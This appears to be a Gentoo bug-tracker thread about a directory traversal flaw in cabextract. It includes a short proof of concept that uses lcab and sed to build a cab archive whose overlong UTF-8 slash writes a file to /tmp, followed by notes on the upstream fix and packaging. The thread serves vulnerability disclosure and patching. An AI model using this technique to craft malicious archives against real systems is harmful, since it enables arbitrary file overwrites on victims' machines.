From ${URL} : It was reported [1] that cabextract is susceptible to a directory traversal vulnerability. While extracting files from an archive, it removes leading slashes from filenames but does it before possibly decoding UTF-8 and doesn't check for invalid UTF-8. Hence an absolute filename can be shoved through by using overlong encoding for the leading slash (and setting utf8 attribute in the header). This can be exploited by a malicious archive to write files outside the current directory. Illustration: $ touch xxxxxxxxxx $ lcab xxxxxxxxxx test.cab $ sed -i 's|\x20\x00xxxxxxxxxx|\xa0\x00\xe0\x80\xaftmp/abs|g' test.cab $ rm xxxxxxxxxx $ ls /tmp/abs ls: cannot access /tmp/abs: No such file or directory $ ./cabextract test.cab Extracting cabinet: test.cab extracting /tmp/abs All done, no errors. $ ls /tmp/abs /tmp/abs In the sed command above, \xe0\x80\xaf is an overlong encoding for '/', \xa0\x00 are flags updated to include utf-8 flag. The issue was found in cabextract 1.4 and 2-byte encoding (\xc0\xaf) was enough to hide '/'. cabextract 1.5 tightened utf-8 checks and 3-byte encoding is now necessary. The issue was reported to Stuart Caie today and fixed in less than 4h: http://sourceforge.net/p/libmspack/code/217/ Another release of cabextract is expected in the next few days. [1]: http://seclists.org/oss-sec/2015/q1/587 @maintainer(s): after the bump, in case we need to stabilize the package, please let us know if it is ready for the stabilization or not.
+ 29 Mar 2015; Ben de Groot <yngwin@gentoo.org> +cabextract-1.6.ebuild, + -cabextract-1.3.ebuild, cabextract-1.4.ebuild, metadata.xml: + Version bump, which fixes security bugs #538152 and #540626. Bump EAPI. Rename + extra-tools useflag to extras (bug #411643). Remove old. Not sure if this and bug #538152 can be considered a duplicates? One GLSA should probably be enough to cover this.
STABLEREQ in bug 538152
GLSA Vote: No
NO too, closing.
